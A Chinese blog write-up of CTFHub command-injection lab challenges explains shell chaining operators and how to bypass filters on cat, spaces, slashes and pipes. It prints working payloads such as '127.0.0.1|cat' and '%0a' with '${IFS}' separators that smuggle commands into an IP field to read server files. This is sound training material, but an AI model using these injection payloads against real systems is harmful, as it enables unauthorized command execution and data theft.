CTFHuB命令执行--Rce

目录

1.做题前需要了解的知识

1.1命令执行介绍:

1.2命令执行原理:

1.3 命令注入相关的特殊字符

2.命令注入

2.1明确题目意思

2.2 查看服务器下的文件

2.3 查看发现的文件

2.4 进行base64编码

2.5 进行base64解码

2.6(^o^)/获得flag

3.过滤cat

3.1 搞清题意

3.2 做题科普

3.3 查看目录下的文件

3.4 查看发现的文件

3.4.1 第一种

3.4.2 第二种

3.5 (^o^)/获得flag

4.过滤空格

4.1 题目所需知识

4.2 查看目录的下文件

4.3 查看文件的内容

4.4. \(^o^)/获得flag

5.过滤目录分隔符

5.1 查看服务器下的文件

5.2 查看flag_is_here目录下的文件

5.3 查看flag文件下的内容

5.4 查看源代码

5.5 (^o^)/得到flag

6. 过滤运算符

6.1 查看服务器下的文件

6.2 查看flag文件

6.3 查看源代码

6.4 \(^o^)/得到flag

7. 综合过滤练习

7.1 题目分析

7.2 查看服务器下的文件

7.3 查看存在flag文件目录下的文件

7.4 查看flag文件的内容

7.5 \(^o^)/得到flag

8.总结


1.做题前需要了解的知识

1.1命令执行介绍:

  Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。

1.2命令执行原理:

  web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

1.3 命令注入相关的特殊字符

符号说明
;前后命令依次执行注意前后顺序,若更变目录,则必须在“一句”指令内
|将前面执行命令的结果作为后一条的输入管道,只输出后者的命令
||前命令执行失败后才执行后命令
&前面执行完,然后执行后面的如 a&b&c 则显示c的执行信息,a b在后台执行
&&前命令执行成功后才执行后命令
`(反引号,仅linux) | 即命令替换,echodate`,输出系统时间使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的
$(command)这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间.按理说更推荐用这种方法,而不是反引号。

前情,因为在做前面的eval时进了测试,判断了主机为linux,所以在进行后面的题目解题时默认为linux进行

  当然这里也有一个小诀窍,通过大小写进行判断,改访问域名的URL,改大小写,看回显进行判断

    win是对大小写不敏感的,linux对大小写是敏感的

2.命令注入

2.1明确题目意思

  查看题目的环境和题目的已知知识,进入题目后发现只有一个输入框,根据题目的意思是让我们输入IP

2.2 查看服务器下的文件

  在这里,我们尝试输入本地IP,并且说了不会进行过滤,让其执行后面的命令,首先使用

127.0.0.1|ls 

查看目录下的文件

发现页面14430616024597.php

2.3 查看发现的文件

  使用

127.0.0.1|cat 14430616024597.php

  发现什么都没有,则有可能存在php文件中有特殊字符,这里因为我做ctf较多的原因,所以通过查看源代码发现了

flag,但是我尝试使用更难的操作

判断通常会使用base64,进行base64编码

2.4 进行base64编码

127.0.0.1|cat 14430616024597.php|base64

PD9waHAgLy8gY3RmaHViezExZWRiYzk3ODdkOGMzNjlkZDQ2MTY3Yn0K

2.5 进行base64解码

  然后base64解码,使用在线工具

Base64 编码/解码 - 在线工具 (toolhelper.cn)icon-default.png?t=N7T8https://www.toolhelper.cn/EncodeDecode/Base64EncodeDecode

2.6(^o^)/获得flag

  ctfhub{11edbc9787d8c369dd46167b}

3.过滤cat

3.1 搞清题意

  看题目名称,过滤了cat命令,所以我不去尝试cat命令了。

  既然基本和上面的关卡思路一致,那么直接操作就可以了。

 因为Linux中查看文件内容并不止cat命令一个,而是有很多:

3.2 做题科普

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

3.3 查看目录下的文件

所以要解决这个问题就很简单了,构造playload

127.0.0.1|ls

发现两个文件,其中flag是第一个文件

 

3.4 查看发现的文件

这里有两种思路,进行解,后面的题目我会挑一种方便的方式进行解题,因为重复性的无力劳动是无法学到新知识的

3.4.1 第一种

接下来使用less或者more代替cat

127.0.0.1 |less flag_14795757827558.php|base64

127.0.0.1 | more flag_14795757827558.php|base64

 

是可以的

 PD9waHAgLy8gY3RmaHVie2I2ZjI0NDIzOWU4M2I4NmM2N2MyOWFhNX0K

然后进行base64解码就可以了

3.4.2 第二种

  或者不用进行base64编码,通过输入下面的,然后发现存储位置没有,但是其实是存在于源代码中的

127.0.0.1 |less flag_14795757827558.php

127.0.0.1 | more flag_14795757827558.php

 而是直接查看页面源代码,直接发现

3.5 (^o^)/获得flag

ctfhub{b6f244239e83b86c67c29aa5}

4.过滤空格

4.1 题目所需知识

本题都说了,过滤空格,直接bing,linux过滤空格

  就是过滤掉了空格,因为我们输入的命令都需要空格符进行间隔,找能代替空格的代替就行了。还是bing,搜绕过过滤空格的字符

4.2 查看目录的下文件

  这里其实使用127.0.0.1;ls或是127.0.0.1|ls 都是可以查到的,忘记符号的区别的可以看看刚开始的知识介绍,这里我使用的是

127.0.0.1|ls

4.3 查看文件的内容

这里通过${IFS}代替空格,进行绕过,当然方法有很多种,都可以

127.0.0.1|cat${IFS}flag_5055821213570.php

查看源代码 

4.4. \(^o^)/获得flag

ctfhub{b9baa1adad0eee68c0e82117}

5.过滤目录分隔符

5.1 查看服务器下的文件

首先还是老样子,使用

127.0.0.1|ls

  可以看到flag_is_here是个目录,需要进入这个目录找到对应的flag文件。题目说是过滤了目录分隔符 / ,那么我们就需要 cd 命令进入对应的目录。

5.2 查看flag_is_here目录下的文件

这里因为需要每条命令都需要依次执行,才能达到效果,所以不能使用|符号

127.0.0.1;cd flag_is_here;ls

5.3 查看flag文件下的内容

  发现有flag_22131075419500.php文件,继续执行,即可通关

127.0.0.1;cd flag_is_here;cat flag_22131075419500.php

  发现没有东西,其实是因为编码的原因,没有正常显示出来,这里可以通过查看源代码进行查看

5.4 查看源代码

  这里直接右键查看源代码就可以看到flag了

5.5 (^o^)/得到flag

ctfhub{2ea2c2c6ea2d9f5b7a181c71}

6. 过滤运算符

  根据题目所知,过滤了一些符号,进行源码分析,可以看到过滤了管道符(|),直接使用逗号(;)即可

 

6.1 查看服务器下的文件

127.0.0.1;ls

6.2 查看flag文件

127.0.0.1;cat flag_189628999302.php

6.3 查看源代码

6.4 \(^o^)/得到flag

ctfhub{2f19664e3e3e8d333e7dafd7}

7. 综合过滤练习

7.1 题目分析

看题目的意思,分析源码发现,这道题能过滤的基本都过滤了,既然都过滤了,那我们就想办法进行绕过,无非就是需要进行的操作多了一点

  空格可以用${IFS},cat可以用more,flag可以用正则f***匹配,ctfhub应该没什么用,这里浅浅查了一下,在linux下,命令分隔符除了;和|还有%0a,是通过URL编码的,有了;就可以不用运算符了。

  常用的管道符都不能用,只能用换行符的url编码 %0a,因为%0a是url编码,所以需要通过url当参数传入,不然%0a会被再次编码,失去作用

7.2 查看服务器下的文件

?ip=127.0.0.1%0als

  注意是在url后进行拼接,不是在输入框中输入

 

7.3 查看存在flag文件目录下的文件

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

  这里使用构造好的语句其实就是用%0a代替分符,用${IFS}代替空格,用more或是less代替cat,用f***进行了flag的匹配

7.4 查看flag文件的内容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php

   查看源代码

7.5 \(^o^)/得到flag

ctfhub{91f1b714719763b2ddbf15e6}

8.总结

  其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.

  • 23
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XError_xiaoyu

你的支持,使我更好的创作

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值